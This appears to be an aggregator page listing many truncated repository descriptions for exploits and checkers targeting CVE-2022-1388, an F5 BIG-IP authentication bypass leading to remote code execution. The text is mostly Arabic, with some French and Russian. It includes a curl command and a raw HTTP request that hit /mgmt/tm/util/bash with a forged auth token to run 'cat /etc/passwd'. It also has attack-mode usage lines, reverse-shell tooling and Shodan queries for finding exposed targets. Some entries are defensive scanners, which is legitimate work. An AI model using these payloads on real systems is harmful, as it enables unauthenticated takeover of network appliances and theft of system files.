Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC لـ F5 BIG-IP - سكريبت bash استغلال بسطر واحد الإصدارات الضعيفة : إصدارات BIG-IP من 16.1.0 إلى 16.1.2 تم إصدار التصحيح إصدارات BIG-IP من 15.1.0 إلى 15.1.5 تم إصدار التصحيح إصدارات BIG-IP من 14.1.0 إلى 14.1.4 تم إصدار التصحيح إصدارات BIG-IP من 13.1.0 إلى 13.1.4 تم إصدار...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

لا يحتوي هذا المستودع على ملف README...

CVE2022-1388_TestAPI

CVE2022-1388TestAPI واجهة برمجة تطبيقات اختبارية لاختبار الـ POC ضد CVE-2022-1388 للتشغيل من المضيف. root@kitploit: pip install -r requirements.txt uvicorn main:app --reload للتشغيل من Docker. root@kitploit: make build make run...

CVE-2022-1388-checker

CVE-2022-1388-checker نص بسيط مكتوب بلغة باش، لفحص عدد من المضيفين من أجل CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt المراجع https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 مدقق RCE سكربت bash بسيط للتحقق من CVE-2022-1388 RCE F5 BIG-IP. + الاستخدام: ./CVE-2022-1388.sh hosts.txt استغلال POC لـ CVE-2022-1388 RCE لا تنسَ تغيير عنوان IP root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H...

bigip-scanner

BIG-IP Scanner حدِّد إصدار البرنامج قيد التشغيل لواجهة إدارة F5 BIG-IP عن بُعد. طُوِّر بكل ❤️ بواسطة فريق Bishop Fox Cosmos. الوصف CVE-2022-1388، ثغرة أمنية حرجة في واجهة إدارة F5 BIG-IP، تسمح للمهاجم بتجاوز المصادقة وتنفيذ أوامر نظام عشوائية عن بُعد. طوّر فريق Bishop Fox ماسحًا لـ BIG-IP يمكنك...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP تنفيذ تعليمات برمجية عن بُعد بدون مصادقة PoC تابعنا Vulnmachines YouTube Twitter Facebook...

CVE-2022-1388-EXP

Vérification RCE F5 BIG-IP vérification : CVE-2022-1388 Détection en masse RCE F5 BIG-IP exp : Note : exp est modifié à partir de CVE-2021-22986 !...

CVE-2022-1388

CVE-2022-1388 Vérification et exploitation pour CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Utilisation Cible unique : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 شل عكسي لـ CVE-2022-1388 التحميل والاستخدام git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys hardwar...

cve-2022-1388-iveresk-command-shell

CVE-2022-1388 بواسطة 1vere$k مع شل أوامر نسخة محسّنة من إثبات المفهوم POC لـ CVE-2022-1388 التي تؤثر على منتجات F5 المتعددة. هذه نسخة محسّنة من إثبات المفهوم الخاص بـ Horizon3 لـ CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388 كما أنها إعادة صياغة كاملة مع إعادة هيكلة لعمل PsychoSec من...

cve-2022-1388-1veresk

CVE-2022-1388 بواسطة 1vere$k CVE-2022-1388 هو إثبات المفهوم. وضعان للعمل مع: عنوان URL مستهدف بسيط، سيتم تعيين المنفذ الافتراضي على 80 إذا لم يُذكر؛ ملف يحتوي على قائمة بالأهداف : \n\r؛ الاستخدام root@kitploit: echo "+-------------------For-The-Help-------------------------------------+"; echo...

CVE-2022-1388

استغلال قديم نسيت نشره...

CVE-2022-1388

CVE-2022-1388...

refresh

تحديث تحاكي هذه الحاوية الوظيفة الضعيفة لـ CVE-2022-1388 في موجه F5 مما يسمح بتنفيذ الأوامر عن بُعد RCE. ينشأ CVE-202201388 من علاقة معقدة بين آليات المصادقة المختلفة و broxying التي جردت الرؤوس Headers مما سمح بالوصول غير السليم إلى نقاط نهاية الإدارة في تطبيق الويب. يجب على المنافسين استخدام...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 استغلال برهان المفهوم F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic...

CVE-2022-1388

CVE-2022-1388 أداة فحص استغلال F5 BigIP CVE-2022-1388...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC для эксплуатации CVE-2022-1388 на BigIP F5 Использование эксплойта root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c...

CVE-2022-1388-EXP

CVE-2022-1388-EXP هذا هو CVE-2022-1388-EXP المؤلف:Caps@BUGFOR Github:https://github.com/bytecaps مُعيد الصنع:LinJacck Github:https://github.com/LinJacck استعراض الوظائف وضع التحقق: python CVE20221388.py -v -u targeturl وضع الهجوم: python CVE20221388.py -a -u targeturl -c command الفحص المجمّع:...

CVE-2022-1388

shodan search 'http.html:"BIG-IP Configuration Utility"' --fields=ipstr,port --separator ":" --limit 10 | grep '' shodan search 'http.title:"BIG-IP®-+Redirect"+"Server"' --fields=ipstr,port --separator ":" --limit 10 | grep '' CVE-2022-1388 Scanneur CVE-2022-1388 Utilisation : $python3...